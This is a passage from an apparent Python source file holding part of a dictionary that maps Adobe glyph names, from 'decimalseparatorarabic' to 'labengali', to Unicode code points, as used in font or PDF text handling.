'decimalseparatorarabic': u'\u066B', 'decimalseparatorpersian': u'\u066B', 'decyrillic': u'\u0434', 'degree': u'\u00B0', 'dehihebrew': u'\u05AD', 'dehiragana': u'\u3067', 'deicoptic': u'\u03EF', 'dekatakana': u'\u30C7', 'deleteleft': u'\u232B', 'deleteright': u'\u2326', 'delta': u'\u03B4', 'deltaturned': u'\u018D', 'denominatorminusonenumeratorbengali': u'\u09F8', 'dezh': u'\u02A4', 'dhabengali': u'\u09A7', 'dhadeva': u'\u0927', 'dhagujarati': u'\u0AA7', 'dhagurmukhi': u'\u0A27', 'dhook': u'\u0257', 'dialytikatonos': u'\u0385', 'dialytikatonoscmb': u'\u0344', 'diamond': u'\u2666', 'diamondsuitwhite': u'\u2662', 'dieresis': u'\u00A8', 'dieresisacute': u'\uF6D7', 'dieresisbelowcmb': u'\u0324', 'dieresiscmb': u'\u0308', 'dieresisgrave': u'\uF6D8', 'dieresistonos': u'\u0385', 'dihiragana': u'\u3062', 'dikatakana': u'\u30C2', 'dittomark': u'\u3003', 'divide': u'\u00F7', 'divides': u'\u2223', 'divisionslash': u'\u2215', 'djecyrillic': u'\u0452', 'dkshade': u'\u2593', 'dlinebelow': u'\u1E0F', 'dlsquare': u'\u3397', 'dmacron': u'\u0111', 'dmonospace': u'\uFF44', 'dnblock': u'\u2584', 'dochadathai': u'\u0E0E', 'dodekthai': u'\u0E14', 'dohiragana': u'\u3069', 'dokatakana': u'\u30C9', 'dollar': u'\u0024', 'dollarinferior': u'\uF6E3', 'dollarmonospace': u'\uFF04', 'dollaroldstyle': u'\uF724', 'dollarsmall': u'\uFE69', 'dollarsuperior': u'\uF6E4', 'dong': u'\u20AB', 'dorusquare': u'\u3326', 'dotaccent': u'\u02D9', 'dotaccentcmb': u'\u0307', 'dotbelowcmb': u'\u0323', 'dotbelowcomb': u'\u0323', 'dotkatakana': u'\u30FB', 'dotlessi': u'\u0131', 'dotlessj': u'\uF6BE', 'dotlessjstrokehook': u'\u0284', 'dotmath': u'\u22C5', 'dottedcircle': u'\u25CC', 'doubleyodpatah': u'\uFB1F', 'doubleyodpatahhebrew': u'\uFB1F', 'downtackbelowcmb': u'\u031E', 'downtackmod': u'\u02D5', 'dparen': u'\u249F', 'dsuperior': u'\uF6EB', 'dtail': u'\u0256', 'dtopbar': u'\u018C', 'duhiragana': u'\u3065', 'dukatakana': u'\u30C5', 'dz': u'\u01F3', 'dzaltone': u'\u02A3', 'dzcaron': u'\u01C6', 'dzcurl': u'\u02A5', 'dzeabkhasiancyrillic': u'\u04E1', 'dzecyrillic': u'\u0455', 'dzhecyrillic': u'\u045F', 'e': u'\u0065', 'eacute': u'\u00E9', 'earth': u'\u2641', 'ebengali': u'\u098F', 'ebopomofo': u'\u311C', 'ebreve': u'\u0115', 'ecandradeva': u'\u090D', 'ecandragujarati': u'\u0A8D', 'ecandravowelsigndeva': u'\u0945', 'ecandravowelsigngujarati': u'\u0AC5', 'ecaron': u'\u011B', 'ecedillabreve': u'\u1E1D', 'echarmenian': u'\u0565', 'echyiwnarmenian': u'\u0587', 'ecircle': u'\u24D4', 'ecircumflex': u'\u00EA', 'ecircumflexacute': u'\u1EBF', 'ecircumflexbelow': u'\u1E19', 'ecircumflexdotbelow': u'\u1EC7', 'ecircumflexgrave': u'\u1EC1', 'ecircumflexhookabove': u'\u1EC3', 'ecircumflextilde': u'\u1EC5', 'ecyrillic': u'\u0454', 'edblgrave': u'\u0205', 'edeva': u'\u090F', 'edieresis': u'\u00EB', 'edot': u'\u0117', 'edotaccent': u'\u0117', 'edotbelow': u'\u1EB9', 'eegurmukhi': u'\u0A0F', 'eematragurmukhi': u'\u0A47', 'efcyrillic': u'\u0444', 'egrave': u'\u00E8', 'egujarati': u'\u0A8F', 'eharmenian': u'\u0567', 'ehbopomofo': u'\u311D', 'ehiragana': u'\u3048', 'ehookabove': u'\u1EBB', 'eibopomofo': u'\u311F', 'eight': u'\u0038', 'eightarabic': u'\u0668', 'eightbengali': u'\u09EE', 'eightcircle': u'\u2467', 'eightcircleinversesansserif': u'\u2791', 'eightdeva': u'\u096E', 'eighteencircle': u'\u2471', 'eighteenparen': u'\u2485', 'eighteenperiod': u'\u2499', 'eightgujarati': u'\u0AEE', 'eightgurmukhi': u'\u0A6E', 'eighthackarabic': u'\u0668', 'eighthangzhou': u'\u3028', 'eighthnotebeamed': u'\u266B', 'eightideographicparen': u'\u3227', 'eightinferior': u'\u2088', 'eightmonospace': u'\uFF18', 'eightoldstyle': u'\uF738', 'eightparen': u'\u247B', 'eightperiod': u'\u248F', 'eightpersian': u'\u06F8', 'eightroman': u'\u2177', 'eightsuperior': u'\u2078', 'eightthai': u'\u0E58', 'einvertedbreve': u'\u0207', 'eiotifiedcyrillic': u'\u0465', 'ekatakana': u'\u30A8', 'ekatakanahalfwidth': u'\uFF74', 'ekonkargurmukhi': u'\u0A74', 'ekorean': u'\u3154', 'elcyrillic': u'\u043B', 'element': u'\u2208', 'elevencircle': u'\u246A', 'elevenparen': u'\u247E', 'elevenperiod': u'\u2492', 'elevenroman': u'\u217A', 'ellipsis': u'\u2026', 'ellipsisvertical': u'\u22EE', 'emacron': u'\u0113', 'emacronacute': u'\u1E17', 'emacrongrave': u'\u1E15', 'emcyrillic': u'\u043C', 'emdash': u'\u2014', 'emdashvertical': u'\uFE31', 'emonospace': u'\uFF45', 'emphasismarkarmenian': u'\u055B', 'emptyset': u'\u2205', 'enbopomofo': u'\u3123', 'encyrillic': u'\u043D', 'endash': u'\u2013', 'endashvertical': u'\uFE32', 'endescendercyrillic': u'\u04A3', 'eng': u'\u014B', 'engbopomofo': u'\u3125', 'enghecyrillic': u'\u04A5', 'enhookcyrillic': u'\u04C8', 'enspace': u'\u2002', 'eogonek': u'\u0119', 'eokorean': u'\u3153', 'eopen': u'\u025B', 'eopenclosed': u'\u029A', 'eopenreversed': u'\u025C', 'eopenreversedclosed': u'\u025E', 'eopenreversedhook': u'\u025D', 'eparen': u'\u24A0', 'epsilon': u'\u03B5', 'epsilontonos': u'\u03AD', 'equal': u'\u003D', 'equalmonospace': u'\uFF1D', 'equalsmall': u'\uFE66', 'equalsuperior': u'\u207C', 'equivalence': u'\u2261', 'erbopomofo': u'\u3126', 'ercyrillic': u'\u0440', 'ereversed': u'\u0258', 'ereversedcyrillic': u'\u044D', 'escyrillic': u'\u0441', 'esdescendercyrillic': u'\u04AB', 'esh': u'\u0283', 'eshcurl': u'\u0286', 'eshortdeva': u'\u090E', 'eshortvowelsigndeva': u'\u0946', 'eshreversedloop': u'\u01AA', 'eshsquatreversed': u'\u0285', 'esmallhiragana': u'\u3047', 'esmallkatakana': u'\u30A7', 'esmallkatakanahalfwidth': u'\uFF6A', 'estimated': u'\u212E', 'esuperior': u'\uF6EC', 'eta': u'\u03B7', 'etarmenian': u'\u0568', 'etatonos': u'\u03AE', 'eth': u'\u00F0', 'etilde': u'\u1EBD', 'etildebelow': u'\u1E1B', 'etnahtafoukhhebrew': u'\u0591', 'etnahtafoukhlefthebrew': u'\u0591', 'etnahtahebrew': u'\u0591', 'etnahtalefthebrew': u'\u0591', 'eturned': u'\u01DD', 'eukorean': u'\u3161', 'euro': u'\u20AC', 'evowelsignbengali': u'\u09C7', 'evowelsigndeva': u'\u0947', 'evowelsigngujarati': u'\u0AC7', 'exclam': u'\u0021', 'exclamarmenian': u'\u055C', 'exclamdbl': u'\u203C', 'exclamdown': u'\u00A1', 'exclamdownsmall': u'\uF7A1', 'exclammonospace': u'\uFF01', 'exclamsmall': u'\uF721', 'existential': u'\u2203', 'ezh': u'\u0292', 'ezhcaron': u'\u01EF', 'ezhcurl': u'\u0293', 'ezhreversed': u'\u01B9', 'ezhtail': u'\u01BA', 'f': u'\u0066', 'fadeva': u'\u095E', 'fagurmukhi': u'\u0A5E', 'fahrenheit': u'\u2109', 'fathaarabic': u'\u064E', 'fathalowarabic': u'\u064E', 'fathatanarabic': u'\u064B', 'fbopomofo': u'\u3108', 'fcircle': u'\u24D5', 'fdotaccent': u'\u1E1F', 'feharabic': u'\u0641', 'feharmenian': u'\u0586', 'fehfinalarabic': u'\uFED2', 'fehinitialarabic': u'\uFED3', 'fehmedialarabic': u'\uFED4', 'feicoptic': u'\u03E5', 'female': u'\u2640', 'ff': u'\uFB00', 'ffi': u'\uFB03', 'ffl': u'\uFB04', 'fi': u'\uFB01', 'fifteencircle': u'\u246E', 'fifteenparen': u'\u2482', 'fifteenperiod': u'\u2496', 'figuredash': u'\u2012', 'filledbox': u'\u25A0', 'filledrect': u'\u25AC', 'finalkaf': u'\u05DA', 'finalkafdagesh': u'\uFB3A', 'finalkafdageshhebrew': u'\uFB3A', 'finalkafhebrew': u'\u05DA', 'finalkafqamats': u'\u05DA\u05B8', 'finalkafqamatshebrew': u'\u05DA\u05B8', 'finalkafsheva': u'\u05DA\u05B0', 'finalkafshevahebrew': u'\u05DA\u05B0', 'finalmem': u'\u05DD', 'finalmemhebrew': u'\u05DD', 'finalnun': u'\u05DF', 'finalnunhebrew': u'\u05DF', 'finalpe': u'\u05E3', 'finalpehebrew': u'\u05E3', 'finaltsadi': u'\u05E5', 'finaltsadihebrew': u'\u05E5', 'firsttonechinese': u'\u02C9', 'fisheye': u'\u25C9', 'fitacyrillic': u'\u0473', 'five': u'\u0035', 'fivearabic': u'\u0665', 'fivebengali': u'\u09EB', 'fivecircle': u'\u2464', 'fivecircleinversesansserif': u'\u278E', 'fivedeva': u'\u096B', 'fiveeighths': u'\u215D', 'fivegujarati': u'\u0AEB', 'fivegurmukhi': u'\u0A6B', 'fivehackarabic': u'\u0665', 'fivehangzhou': u'\u3025', 'fiveideographicparen': u'\u3224', 'fiveinferior': u'\u2085', 'fivemonospace': u'\uFF15', 'fiveoldstyle': u'\uF735', 'fiveparen': u'\u2478', 'fiveperiod': u'\u248C', 'fivepersian': u'\u06F5', 'fiveroman': u'\u2174', 'fivesuperior': u'\u2075', 'fivethai': u'\u0E55', 'fl': u'\uFB02', 'florin': u'\u0192', 'fmonospace': u'\uFF46', 'fmsquare': u'\u3399', 'fofanthai': u'\u0E1F', 'fofathai': u'\u0E1D', 'fongmanthai': u'\u0E4F', 'forall': u'\u2200', 'four': u'\u0034', 'fourarabic': u'\u0664', 'fourbengali': u'\u09EA', 'fourcircle': u'\u2463', 'fourcircleinversesansserif': u'\u278D', 'fourdeva': u'\u096A', 'fourgujarati': u'\u0AEA', 'fourgurmukhi': u'\u0A6A', 'fourhackarabic': u'\u0664', 'fourhangzhou': u'\u3024', 'fourideographicparen': u'\u3223', 'fourinferior': u'\u2084', 'fourmonospace': u'\uFF14', 'fournumeratorbengali': u'\u09F7', 'fouroldstyle': u'\uF734', 'fourparen': u'\u2477', 'fourperiod': u'\u248B', 'fourpersian': u'\u06F4', 'fourroman': u'\u2173', 'foursuperior': u'\u2074', 'fourteencircle': u'\u246D', 'fourteenparen': u'\u2481', 'fourteenperiod': u'\u2495', 'fourthai': u'\u0E54', 'fourthtonechinese': u'\u02CB', 'fparen': u'\u24A1', 'fraction': u'\u2044', 'franc': u'\u20A3', 'g': u'\u0067', 'gabengali': u'\u0997', 'gacute': u'\u01F5', 'gadeva': u'\u0917', 'gafarabic': u'\u06AF', 'gaffinalarabic': u'\uFB93', 'gafinitialarabic': u'\uFB94', 'gafmedialarabic': u'\uFB95', 'gagujarati': u'\u0A97', 'gagurmukhi': u'\u0A17', 'gahiragana': u'\u304C', 'gakatakana': u'\u30AC', 'gamma': u'\u03B3', 'gammalatinsmall': u'\u0263', 'gammasuperior': u'\u02E0', 'gangiacoptic': u'\u03EB', 'gbopomofo': u'\u310D', 'gbreve': u'\u011F', 'gcaron': u'\u01E7', 'gcedilla': u'\u0123', 'gcircle': u'\u24D6', 'gcircumflex': u'\u011D', 'gcommaaccent': u'\u0123', 'gdot': u'\u0121', 'gdotaccent': u'\u0121', 'gecyrillic': u'\u0433', 'gehiragana': u'\u3052', 'gekatakana': u'\u30B2', 'geometricallyequal': u'\u2251', 'gereshaccenthebrew': u'\u059C', 'gereshhebrew': u'\u05F3', 'gereshmuqdamhebrew': u'\u059D', 'germandbls': u'\u00DF', 'gershayimaccenthebrew': u'\u059E', 'gershayimhebrew': u'\u05F4', 'getamark': u'\u3013', 'ghabengali': u'\u0998', 'ghadarmenian': u'\u0572', 'ghadeva': u'\u0918', 'ghagujarati': u'\u0A98', 'ghagurmukhi': u'\u0A18', 'ghainarabic': u'\u063A', 'ghainfinalarabic': u'\uFECE', 'ghaininitialarabic': u'\uFECF', 'ghainmedialarabic': u'\uFED0', 'ghemiddlehookcyrillic': u'\u0495', 'ghestrokecyrillic': u'\u0493', 'gheupturncyrillic': u'\u0491', 'ghhadeva': u'\u095A', 'ghhagurmukhi': u'\u0A5A', 'ghook': u'\u0260', 'ghzsquare': u'\u3393', 'gihiragana': u'\u304E', 'gikatakana': u'\u30AE', 'gimarmenian': u'\u0563', 'gimel': u'\u05D2', 'gimeldagesh': u'\uFB32', 'gimeldageshhebrew': u'\uFB32', 'gimelhebrew': u'\u05D2', 'gjecyrillic': u'\u0453', 'glottalinvertedstroke': u'\u01BE', 'glottalstop': u'\u0294', 'glottalstopinverted': u'\u0296', 'glottalstopmod': u'\u02C0', 'glottalstopreversed': u'\u0295', 'glottalstopreversedmod': u'\u02C1', 'glottalstopreversedsuperior': u'\u02E4', 'glottalstopstroke': u'\u02A1', 'glottalstopstrokereversed': u'\u02A2', 'gmacron': u'\u1E21', 'gmonospace': u'\uFF47', 'gohiragana': u'\u3054', 'gokatakana': u'\u30B4', 'gparen': u'\u24A2', 'gpasquare': u'\u33AC', 'gradient': u'\u2207', 'grave': u'\u0060', 'gravebelowcmb': u'\u0316', 'gravecmb': u'\u0300', 'gravecomb': u'\u0300', 'gravedeva': u'\u0953', 'gravelowmod': u'\u02CE', 'gravemonospace': u'\uFF40', 'gravetonecmb': u'\u0340', 'greater': u'\u003E', 'greaterequal': u'\u2265', 'greaterequalorless': u'\u22DB', 'greatermonospace': u'\uFF1E', 'greaterorequivalent': u'\u2273', 'greaterorless': u'\u2277', 'greateroverequal': u'\u2267', 'greatersmall': u'\uFE65', 'gscript': u'\u0261', 'gstroke': u'\u01E5', 'guhiragana': u'\u3050', 'guillemotleft': u'\u00AB', 'guillemotright': u'\u00BB', 'guilsinglleft': u'\u2039', 'guilsinglright': u'\u203A', 'gukatakana': u'\u30B0', 'guramusquare': u'\u3318', 'gysquare': u'\u33C9', 'h': u'\u0068', 'haabkhasiancyrillic': u'\u04A9', 'haaltonearabic': u'\u06C1', 'habengali': u'\u09B9', 'hadescendercyrillic': u'\u04B3', 'hadeva': u'\u0939', 'hagujarati': u'\u0AB9', 'hagurmukhi': u'\u0A39', 'haharabic': u'\u062D', 'hahfinalarabic': u'\uFEA2', 'hahinitialarabic': u'\uFEA3', 'hahiragana': u'\u306F', 'hahmedialarabic': u'\uFEA4', 'haitusquare': u'\u332A', 'hakatakana': u'\u30CF', 'hakatakanahalfwidth': u'\uFF8A', 'halantgurmukhi': u'\u0A4D', 'hamzaarabic': u'\u0621', 'hamzadammaarabic': u'\u0621\u064F', 'hamzadammatanarabic': u'\u0621\u064C', 'hamzafathaarabic': u'\u0621\u064E', 'hamzafathatanarabic': u'\u0621\u064B', 'hamzalowarabic': u'\u0621', 'hamzalowkasraarabic': u'\u0621\u0650', 'hamzalowkasratanarabic': u'\u0621\u064D', 'hamzasukunarabic': u'\u0621\u0652', 'hangulfiller': u'\u3164', 'hardsigncyrillic': u'\u044A', 'harpoonleftbarbup': u'\u21BC', 'harpoonrightbarbup': u'\u21C0', 'hasquare': u'\u33CA', 'hatafpatah': u'\u05B2', 'hatafpatah16': u'\u05B2', 'hatafpatah23': u'\u05B2', 'hatafpatah2f': u'\u05B2', 'hatafpatahhebrew': u'\u05B2', 'hatafpatahnarrowhebrew': u'\u05B2', 'hatafpatahquarterhebrew': u'\u05B2', 'hatafpatahwidehebrew': u'\u05B2', 'hatafqamats': u'\u05B3', 'hatafqamats1b': u'\u05B3', 'hatafqamats28': u'\u05B3', 'hatafqamats34': u'\u05B3', 'hatafqamatshebrew': u'\u05B3', 'hatafqamatsnarrowhebrew': u'\u05B3', 'hatafqamatsquarterhebrew': u'\u05B3', 'hatafqamatswidehebrew': u'\u05B3', 'hatafsegol': u'\u05B1', 'hatafsegol17': u'\u05B1', 'hatafsegol24': u'\u05B1', 'hatafsegol30': u'\u05B1', 'hatafsegolhebrew': u'\u05B1', 'hatafsegolnarrowhebrew': u'\u05B1', 'hatafsegolquarterhebrew': u'\u05B1', 'hatafsegolwidehebrew': u'\u05B1', 'hbar': u'\u0127', 'hbopomofo': u'\u310F', 'hbrevebelow': u'\u1E2B', 'hcedilla': u'\u1E29', 'hcircle': u'\u24D7', 'hcircumflex': u'\u0125', 'hdieresis': u'\u1E27', 'hdotaccent': u'\u1E23', 'hdotbelow': u'\u1E25', 'he': u'\u05D4', 'heart': u'\u2665', 'heartsuitblack': u'\u2665', 'heartsuitwhite': u'\u2661', 'hedagesh': u'\uFB34', 'hedageshhebrew': u'\uFB34', 'hehaltonearabic': u'\u06C1', 'heharabic': u'\u0647', 'hehebrew': u'\u05D4', 'hehfinalaltonearabic': u'\uFBA7', 'hehfinalalttwoarabic': u'\uFEEA', 'hehfinalarabic': u'\uFEEA', 'hehhamzaabovefinalarabic': u'\uFBA5', 'hehhamzaaboveisolatedarabic': u'\uFBA4', 'hehinitialaltonearabic': u'\uFBA8', 'hehinitialarabic': u'\uFEEB', 'hehiragana': u'\u3078', 'hehmedialaltonearabic': u'\uFBA9', 'hehmedialarabic': u'\uFEEC', 'heiseierasquare': u'\u337B', 'hekatakana': u'\u30D8', 'hekatakanahalfwidth': u'\uFF8D', 'hekutaarusquare': u'\u3336', 'henghook': u'\u0267', 'herutusquare': u'\u3339', 'het': u'\u05D7', 'hethebrew': u'\u05D7', 'hhook': u'\u0266', 'hhooksuperior': u'\u02B1', 'hieuhacirclekorean': u'\u327B', 'hieuhaparenkorean': u'\u321B', 'hieuhcirclekorean': u'\u326D', 'hieuhkorean': u'\u314E', 'hieuhparenkorean': u'\u320D', 'hihiragana': u'\u3072', 'hikatakana': u'\u30D2', 'hikatakanahalfwidth': u'\uFF8B', 'hiriq': u'\u05B4', 'hiriq14': u'\u05B4', 'hiriq21': u'\u05B4', 'hiriq2d': u'\u05B4', 'hiriqhebrew': u'\u05B4', 'hiriqnarrowhebrew': u'\u05B4', 'hiriqquarterhebrew': u'\u05B4', 'hiriqwidehebrew': u'\u05B4', 'hlinebelow': u'\u1E96', 'hmonospace': u'\uFF48', 'hoarmenian': u'\u0570', 'hohipthai': u'\u0E2B', 'hohiragana': u'\u307B', 'hokatakana': u'\u30DB', 'hokatakanahalfwidth': u'\uFF8E', 'holam': u'\u05B9', 'holam19': u'\u05B9', 'holam26': u'\u05B9', 'holam32': u'\u05B9', 'holamhebrew': u'\u05B9', 'holamnarrowhebrew': u'\u05B9', 'holamquarterhebrew': u'\u05B9', 'holamwidehebrew': u'\u05B9', 'honokhukthai': u'\u0E2E', 'hookabovecomb': u'\u0309', 'hookcmb': u'\u0309', 'hookpalatalizedbelowcmb': u'\u0321', 'hookretroflexbelowcmb': u'\u0322', 'hoonsquare': u'\u3342', 'horicoptic': u'\u03E9', 'horizontalbar': u'\u2015', 'horncmb': u'\u031B', 'hotsprings': u'\u2668', 'house': u'\u2302', 'hparen': u'\u24A3', 'hsuperior': u'\u02B0', 'hturned': u'\u0265', 'huhiragana': u'\u3075', 'huiitosquare': u'\u3333', 'hukatakana': u'\u30D5', 'hukatakanahalfwidth': u'\uFF8C', 'hungarumlaut': u'\u02DD', 'hungarumlautcmb': u'\u030B', 'hv': u'\u0195', 'hyphen': u'\u002D', 'hypheninferior': u'\uF6E5', 'hyphenmonospace': u'\uFF0D', 'hyphensmall': u'\uFE63', 'hyphensuperior': u'\uF6E6', 'hyphentwo': u'\u2010', 'i': u'\u0069', 'iacute': u'\u00ED', 'iacyrillic': u'\u044F', 'ibengali': u'\u0987', 'ibopomofo': u'\u3127', 'ibreve': u'\u012D', 'icaron': u'\u01D0', 'icircle': u'\u24D8', 'icircumflex': u'\u00EE', 'icyrillic': u'\u0456', 'idblgrave': u'\u0209', 'ideographearthcircle': u'\u328F', 'ideographfirecircle': u'\u328B', 'ideographicallianceparen': u'\u323F', 'ideographiccallparen': u'\u323A', 'ideographiccentrecircle': u'\u32A5', 'ideographicclose': u'\u3006', 'ideographiccomma': u'\u3001', 'ideographiccommaleft': u'\uFF64', 'ideographiccongratulationparen': u'\u3237', 'ideographiccorrectcircle': u'\u32A3', 'ideographicearthparen': u'\u322F', 'ideographicenterpriseparen': u'\u323D', 'ideographicexcellentcircle': u'\u329D', 'ideographicfestivalparen': u'\u3240', 'ideographicfinancialcircle': u'\u3296', 'ideographicfinancialparen': u'\u3236', 'ideographicfireparen': u'\u322B', 'ideographichaveparen': u'\u3232', 'ideographichighcircle': u'\u32A4', 'ideographiciterationmark': u'\u3005', 'ideographiclaborcircle': u'\u3298', 'ideographiclaborparen': u'\u3238', 'ideographicleftcircle': u'\u32A7', 'ideographiclowcircle': u'\u32A6', 'ideographicmedicinecircle': u'\u32A9', 'ideographicmetalparen': u'\u322E', 'ideographicmoonparen': u'\u322A', 'ideographicnameparen': u'\u3234', 'ideographicperiod': u'\u3002', 'ideographicprintcircle': u'\u329E', 'ideographicreachparen': u'\u3243', 'ideographicrepresentparen': u'\u3239', 'ideographicresourceparen': u'\u323E', 'ideographicrightcircle': u'\u32A8', 'ideographicsecretcircle': u'\u3299', 'ideographicselfparen': u'\u3242', 'ideographicsocietyparen': u'\u3233', 'ideographicspace': u'\u3000', 'ideographicspecialparen': u'\u3235', 'ideographicstockparen': u'\u3231', 'ideographicstudyparen': u'\u323B', 'ideographicsunparen': u'\u3230', 'ideographicsuperviseparen': u'\u323C', 'ideographicwaterparen': u'\u322C', 'ideographicwoodparen': u'\u322D', 'ideographiczero': u'\u3007', 'ideographmetalcircle': u'\u328E', 'ideographmooncircle': u'\u328A', 'ideographnamecircle': u'\u3294', 'ideographsuncircle': u'\u3290', 'ideographwatercircle': u'\u328C', 'ideographwoodcircle': u'\u328D', 'ideva': u'\u0907', 'idieresis': u'\u00EF', 'idieresisacute': u'\u1E2F', 'idieresiscyrillic': u'\u04E5', 'idotbelow': u'\u1ECB', 'iebrevecyrillic': u'\u04D7', 'iecyrillic': u'\u0435', 'ieungacirclekorean': u'\u3275', 'ieungaparenkorean': u'\u3215', 'ieungcirclekorean': u'\u3267', 'ieungkorean': u'\u3147', 'ieungparenkorean': u'\u3207', 'igrave': u'\u00EC', 'igujarati': u'\u0A87', 'igurmukhi': u'\u0A07', 'ihiragana': u'\u3044', 'ihookabove': u'\u1EC9', 'iibengali': u'\u0988', 'iicyrillic': u'\u0438', 'iideva': u'\u0908', 'iigujarati': u'\u0A88', 'iigurmukhi': u'\u0A08', 'iimatragurmukhi': u'\u0A40', 'iinvertedbreve': u'\u020B', 'iishortcyrillic': u'\u0439', 'iivowelsignbengali': u'\u09C0', 'iivowelsigndeva': u'\u0940', 'iivowelsigngujarati': u'\u0AC0', 'ij': u'\u0133', 'ikatakana': u'\u30A4', 'ikatakanahalfwidth': u'\uFF72', 'ikorean': u'\u3163', 'ilde': u'\u02DC', 'iluyhebrew': u'\u05AC', 'imacron': u'\u012B', 'imacroncyrillic': u'\u04E3', 'imageorapproximatelyequal': u'\u2253', 'imatragurmukhi': u'\u0A3F', 'imonospace': u'\uFF49', 'increment': u'\u2206', 'infinity': u'\u221E', 'iniarmenian': u'\u056B', 'integral': u'\u222B', 'integralbottom': u'\u2321', 'integralbt': u'\u2321', 'integralex': u'\uF8F5', 'integraltop': u'\u2320', 'integraltp': u'\u2320', 'intersection': u'\u2229', 'intisquare': u'\u3305', 'invbullet': u'\u25D8', 'invcircle': u'\u25D9', 'invsmileface': u'\u263B', 'iocyrillic': u'\u0451', 'iogonek': u'\u012F', 'iota': u'\u03B9', 'iotadieresis': u'\u03CA', 'iotadieresistonos': u'\u0390', 'iotalatin': u'\u0269', 'iotatonos': u'\u03AF', 'iparen': u'\u24A4', 'irigurmukhi': u'\u0A72', 'ismallhiragana': u'\u3043', 'ismallkatakana': u'\u30A3', 'ismallkatakanahalfwidth': u'\uFF68', 'issharbengali': u'\u09FA', 'istroke': u'\u0268', 'isuperior': u'\uF6ED', 'iterationhiragana': u'\u309D', 'iterationkatakana': u'\u30FD', 'itilde': u'\u0129', 'itildebelow': u'\u1E2D', 'iubopomofo': u'\u3129', 'iucyrillic': u'\u044E', 'ivowelsignbengali': u'\u09BF', 'ivowelsigndeva': u'\u093F', 'ivowelsigngujarati': u'\u0ABF', 'izhitsacyrillic': u'\u0475', 'izhitsadblgravecyrillic': u'\u0477', 'j': u'\u006A', 'jaarmenian': u'\u0571', 'jabengali': u'\u099C', 'jadeva': u'\u091C', 'jagujarati': u'\u0A9C', 'jagurmukhi': u'\u0A1C', 'jbopomofo': u'\u3110', 'jcaron': u'\u01F0', 'jcircle': u'\u24D9', 'jcircumflex': u'\u0135', 'jcrossedtail': u'\u029D', 'jdotlessstroke': u'\u025F', 'jecyrillic': u'\u0458', 'jeemarabic': u'\u062C', 'jeemfinalarabic': u'\uFE9E', 'jeeminitialarabic': u'\uFE9F', 'jeemmedialarabic': u'\uFEA0', 'jeharabic': u'\u0698', 'jehfinalarabic': u'\uFB8B', 'jhabengali': u'\u099D', 'jhadeva': u'\u091D', 'jhagujarati': u'\u0A9D', 'jhagurmukhi': u'\u0A1D', 'jheharmenian': u'\u057B', 'jis': u'\u3004', 'jmonospace': u'\uFF4A', 'jparen': u'\u24A5', 'jsuperior': u'\u02B2', 'k': u'\u006B', 'kabashkircyrillic': u'\u04A1', 'kabengali': u'\u0995', 'kacute': u'\u1E31', 'kacyrillic': u'\u043A', 'kadescendercyrillic': u'\u049B', 'kadeva': u'\u0915', 'kaf': u'\u05DB', 'kafarabic': u'\u0643', 'kafdagesh': u'\uFB3B', 'kafdageshhebrew': u'\uFB3B', 'kaffinalarabic': u'\uFEDA', 'kafhebrew': u'\u05DB', 'kafinitialarabic': u'\uFEDB', 'kafmedialarabic': u'\uFEDC', 'kafrafehebrew': u'\uFB4D', 'kagujarati': u'\u0A95', 'kagurmukhi': u'\u0A15', 'kahiragana': u'\u304B', 'kahookcyrillic': u'\u04C4', 'kakatakana': u'\u30AB', 'kakatakanahalfwidth': u'\uFF76', 'kappa': u'\u03BA', 'kappasymbolgreek': u'\u03F0', 'kapyeounmieumkorean': u'\u3171', 'kapyeounphieuphkorean': u'\u3184', 'kapyeounpieupkorean': u'\u3178', 'kapyeounssangpieupkorean': u'\u3179', 'karoriisquare': u'\u330D', 'kashidaautoarabic': u'\u0640', 'kashidaautonosidebearingarabic': u'\u0640', 'kasmallkatakana': u'\u30F5', 'kasquare': u'\u3384', 'kasraarabic': u'\u0650', 'kasratanarabic': u'\u064D', 'kastrokecyrillic': u'\u049F', 'katahiraprolongmarkhalfwidth': u'\uFF70', 'kaverticalstrokecyrillic': u'\u049D', 'kbopomofo': u'\u310E', 'kcalsquare': u'\u3389', 'kcaron': u'\u01E9', 'kcedilla': u'\u0137', 'kcircle': u'\u24DA', 'kcommaaccent': u'\u0137', 'kdotbelow': u'\u1E33', 'keharmenian': u'\u0584', 'kehiragana': u'\u3051', 'kekatakana': u'\u30B1', 'kekatakanahalfwidth': u'\uFF79', 'kenarmenian': u'\u056F', 'kesmallkatakana': u'\u30F6', 'kgreenlandic': u'\u0138', 'khabengali': u'\u0996', 'khacyrillic': u'\u0445', 'khadeva': u'\u0916', 'khagujarati': u'\u0A96', 'khagurmukhi': u'\u0A16', 'khaharabic': u'\u062E', 'khahfinalarabic': u'\uFEA6', 'khahinitialarabic': u'\uFEA7', 'khahmedialarabic': u'\uFEA8', 'kheicoptic': u'\u03E7', 'khhadeva': u'\u0959', 'khhagurmukhi': u'\u0A59', 'khieukhacirclekorean': u'\u3278', 'khieukhaparenkorean': u'\u3218', 'khieukhcirclekorean': u'\u326A', 'khieukhkorean': u'\u314B', 'khieukhparenkorean': u'\u320A', 'khokhaithai': u'\u0E02', 'khokhonthai': u'\u0E05', 'khokhuatthai': u'\u0E03', 'khokhwaithai': u'\u0E04', 'khomutthai': u'\u0E5B', 'khook': u'\u0199', 'khorakhangthai': u'\u0E06', 'khzsquare': u'\u3391', 'kihiragana': u'\u304D', 'kikatakana': u'\u30AD', 'kikatakanahalfwidth': u'\uFF77', 'kiroguramusquare': u'\u3315', 'kiromeetorusquare': u'\u3316', 'kirosquare': u'\u3314', 'kiyeokacirclekorean': u'\u326E', 'kiyeokaparenkorean': u'\u320E', 'kiyeokcirclekorean': u'\u3260', 'kiyeokkorean': u'\u3131', 'kiyeokparenkorean': u'\u3200', 'kiyeoksioskorean': u'\u3133', 'kjecyrillic': u'\u045C', 'klinebelow': u'\u1E35', 'klsquare': u'\u3398', 'kmcubedsquare': u'\u33A6', 'kmonospace': u'\uFF4B', 'kmsquaredsquare': u'\u33A2', 'kohiragana': u'\u3053', 'kohmsquare': u'\u33C0', 'kokaithai': u'\u0E01', 'kokatakana': u'\u30B3', 'kokatakanahalfwidth': u'\uFF7A', 'kooposquare': u'\u331E', 'koppacyrillic': u'\u0481', 'koreanstandardsymbol': u'\u327F', 'koroniscmb': u'\u0343', 'kparen': u'\u24A6', 'kpasquare': u'\u33AA', 'ksicyrillic': u'\u046F', 'ktsquare': u'\u33CF', 'kturned': u'\u029E', 'kuhiragana': u'\u304F', 'kukatakana': u'\u30AF', 'kukatakanahalfwidth': u'\uFF78', 'kvsquare': u'\u33B8', 'kwsquare': u'\u33BE', 'l': u'\u006C', 'labengali': u'\u09B2', 